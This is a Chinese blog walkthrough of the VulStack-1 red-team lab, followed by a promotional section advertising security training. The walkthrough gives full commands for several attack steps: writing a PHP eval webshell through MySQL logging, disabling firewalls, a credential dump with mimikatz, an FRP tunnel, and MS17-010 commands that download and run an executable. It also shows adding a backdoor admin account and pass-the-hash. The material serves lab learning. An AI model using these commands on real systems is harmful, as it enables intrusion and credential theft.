红队实战之VulStack-1

红日靶机系列是完全模拟ATT&CK攻击链路来搭建的,通过练习真实的APT实战环境我们可以从中快速成长。VulStack1
是该系列的第一个靶场,主要涉及信息收集、漏洞利用、CS上线、搭建隧道以及域内渗透等知识。

0x01 靶机环境搭建

靶场中包含三台靶机,具体的网络拓扑图如下
截屏2022-05-22
03.02.11

从上图可知我们需要模拟内网和外网两个网段,因此我们需要在 VMware 中选择虚拟网络编辑器设置内网网段192.168.52.0/24
截屏2022-05-22
上午3.15.28

完成后为三台靶机在主机网卡中添加VMnet2,与此同时还需要为 Web 服务器添加桥接网卡作为外网网段。
截屏2022-05-22
上午3.07.51

三台靶机的默认开机密码都为hongrisec@2019,登录后提示需要修改密码信息,因此根据需要我们将其修改为Mac123456,最终我们的靶机IP分布如下。

靶机名称IP地址
Web服务器192.168.0.112/192.168.52.143
域内主机192.168.52.141
域控主机192.168.52.138

尝试 ping 通各个主机后找到 phpstudy 开启 Web 服务模拟 Web 服务
截屏2022-05-22
上午3.22.17

同时我们需要保持外网、域网络防火墙为未开启状态
截屏2022-05-22
上午6.15.39

正常访问站点,说明环境成功搭建完成
截屏2022-05-22
03.30.53

0x02 外网边界突破

信息收集

使用 Nmap 扫描 web 服务器的端口开放情况

nmap -Pn -sV -p- -A 192.168.0.112 --min-rate=1000

截屏2022-05-22
03.42.54

80端口

访问后为 phpStudy 探针,在页面中使用弱口令 root/root 能够成功登录 MySQL 数据库
截屏2022-05-22
03.41.26

使用 dirsearch 对站点进行目录扫描

dirsearch -u http://192.168.0.112 -e *

截屏2022-05-22
03.44.21

成功发现目录phpmyadmin并访问,页面为数据库管理工具 PHPMyAdmin
截屏2022-05-22
03.46.13

使用 dirsearch 继续扫描备份文件

dirsearch -u http://192.168.0.112 -w /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/directoryDicts/top7000.txt

截屏2022-05-22
04.09.07

成功发现备份文件beifen.rar,解压后发现这是 xycms 的备份源码
截屏2022-05-22
04.11.17

3306端口

尝试使用 hydra 爆破 MySQL 数据库密码,但是目标不允许连接数据库

hydra -L /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-user.txt -P /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-pass.txt mysql://192.168.0.112 -e nsr -vV

截屏2022-05-22
04.21.04

MySQL日志写入木马

通过弱口令root/root可成功登录 PHPMyAdmin 的后台
截屏2022-05-22
04.25.04

执行SQL语句查看是否存在写入权限,secure_file_priv显示为 NULL

show variables like '%secure_file%';

截屏2022-05-22
04.26.35

如果我们通过into outfile来写入木马,那么由于secure_file_priv的限制会导致这种方案并不可行

select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';

截屏2022-05-22
04.36.24

因此我们需要通过日志来写入木马,尝试开启日志记录

set global general_log = "ON";

截屏2022-05-22
04.38.45

查看日志记录文件

show variables like "general%";

截屏2022-05-22
04.39.55

修改日志记录文件为木马文件

set global general_log_file="C:/phpStudy/www/mac.php";

截屏2022-05-22
04.44.13

写入木马至指定日志记录文件当中

select '<?php eval($_POST["mac"]);?>'

截屏2022-05-22
04.46.17

成功通过蚁剑连接木马文件
截屏2022-05-22
04.47.54

YXCMS后台上传木马

在源码中解压后发现yxcms目录并尝试访问,访问后发现页面为 YXCMS
截屏2022-05-22
04.53.22

由于 YXCMS 的默认后台为index.php?r=admin,我们尝试访问该后台地址
截屏2022-05-22
04.55.46

使用 BurpSuite 截取数据包,复用验证码尝试爆破密码
截屏2022-05-22
04.59.29

成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台

截屏2022-05-22
05.03.25

选择前台模版并在index_index.php插入木马

截屏2022-05-22
05.07.10

保存成功后使用蚁剑连接木马文件

截屏2022-05-22
05.09.03

0x03 内网信息探测

CS上线云服务器

在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS

截屏2022-05-22
05.17.59

在CS中开启 http 监听器并生成利用程序mac1.exe
截屏2022-05-22
05.26.08

上传木马后并在命令行中直接执行
截屏2022-05-22
05.28.14

成功上线CS
截屏2022-05-22
05.29.18

本机基础环境信息收集

减少回连时间为3秒并查看网络连接情况

sleep 3
shell ipconfig

截屏2022-05-22
05.45.37

如果有需要的话可以关闭防火墙

netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off

成功发现目标存在两个网段,说明内网网段中可能存在其他主机

192.168.0.0/24 
192.168.52.0/24

运行 mimikatz 成功获得管理员密码为Mac123456

logonpasswords

截屏2022-05-22
05.45.04

成功获取用户哈希值

hashdump

截屏2022-05-22
05.47.57

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM
截屏2022-05-22
05.55.05

成功上线 SYSTEM 系统管理员
截屏2022-05-22
05.55.57

内网域环境信息收集

内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式

shell ipconfig /all

截屏2022-05-22
06.03.54

shell net config workstation

截屏2022-05-22
06.04.51

成功探测到当前域名为god.org,接下来需要探索目标存在多少域

shell net view /domain

截屏2022-05-22
06.06.59

结果显示目标只存在GOD域,而WORKGROUP只是工作组而已。然后尝试寻找域控主机名

shell net group "domain controllers" /domain

截屏2022-05-22
15.02.00

结果显示报错RPC 服务器不可用,这是什么原因造成的呢?

原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控

截屏2022-05-22
下午3.07.10

再次寻找域控并确认域控主机名为OWA
截屏2022-05-22
15.34.04

有了域控主机名以后我们尝试寻找其他域内主机

net view

截屏2022-05-22
15.36.44

shell net group "domain computers" /domain

截屏2022-05-22
15.38.27

至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透

主机名IP地址是否为域控
OWA192.168.52.138
ROOT-TVI862UBEH192.168.52.141
STU1192.168.52.143

0x03 内网横向渗透

建立FRP代理隧道

为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。

FRP配置

frps.ini配置:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678

frpc.ini配置:

[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
FRP连接

在云服务器上启动 FRP

./frps -c frps.ini

截屏2022-05-22
下午5.04.08

上传 FRP 至靶机后查看文件
截屏2022-05-22
17.12.26

在 CS 上启动连接

shell frpc.exe -c frpc.ini

截屏2022-05-22
17.13.43

在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道

vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000

截屏2022-05-22
17.28.19

使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功

proxychains4 nmap 192.168.52.138 -p 135,445,80

截屏2022-05-22
17.25.07

MSF永恒之蓝漏洞利用

FSCAN漏洞扫描

在 CS 中上传 fsacn 并设置扫描目标

## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143

截屏2022-05-22
17.49.14

使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞

shell fscan64.exe -hf hosts.txt

截屏2022-05-22
17.53.05

域控主机上线CS

在 CS 的会话当中设置新的监听器用于上线内网主机

截屏2022-05-22
17.59.14

需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接

截屏2022-05-22
18.00.22

借用该监听器生成相应木马mac2.exe
截屏2022-05-22
18.06.45

成功将该木马上传至目标的站点目录
截屏2022-05-22
18.09.21

在本地开启 MSF 并设置代理

msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true

截屏2022-05-22
18.13.35

使用 MSF 执行命令上线 CS

msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run

截屏2022-05-22
18.21.18

域控主机成功上线CS
截屏2022-05-22
18.21.33

域内主机上线CS

在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用 powershell
执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用 CS 生成32位木马mac3.exe
截屏2022-05-22
19.41.01

同样地我们将其上传至目标的站点目录
截屏2022-05-22
19.42.36

重新设置命令使用 certutil 下载木马,但是目标返回报错信息

msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run

截屏2022-05-22
20.19.41

那么我们换一种思路,尝试通过永恒之蓝创建管理员账户

net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac

截屏2022-05-22
20.29.43

尝试使用新建管理员通过IPC$进行连接,但目标无法连接

shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac

截屏2022-05-22
20.35.42

尝试使用域管理员进行登录,目标连接成功

shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use

截屏2022-05-22
21.14.02

将木马复制到域内主机的C盘目录当中

shell cd .. && copy mac3.exe \\192.168.52.141\c$

截屏2022-05-22
21.18.54

在 MSF 中通过 MS17-010 执行木马

msf > set command "C:\\mac3.exe"
msf > show options
msf > run

截屏2022-05-22
21.22.49

域内主机成功上线CS
截屏2022-05-22
21.23.49

截屏2022-05-22
21.32.17

域管理员凭证传递利用

凭证传递利用原理

通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连接,使用命名管道通过父级
Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用
Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。

凭证传递上线CS

在 CS 的会话中建立 SMB 监听器用于快速传递凭证
截屏2022-05-22
21.51.39

Targets中选择 psexec_psh 传递哈希值
截屏2022-05-22
21.58.18

选择会话并设置 SMB 监听器
截屏2022-05-22
21.56.37

域控主机成功上线CS
截屏2022-05-22
22.00.10

同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希
截屏2022-05-22
22.08.04

域内主机成功上线CS
截屏2022-05-22
22.05.52

截屏2022-05-22
22.09.14

0x04 靶场学习总结

这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010
漏洞利用,也没有采用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题,比如
certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP
匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。同时非常感谢红日团队以及前辈的实践,我将继续对后续靶场进行研究学习。

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值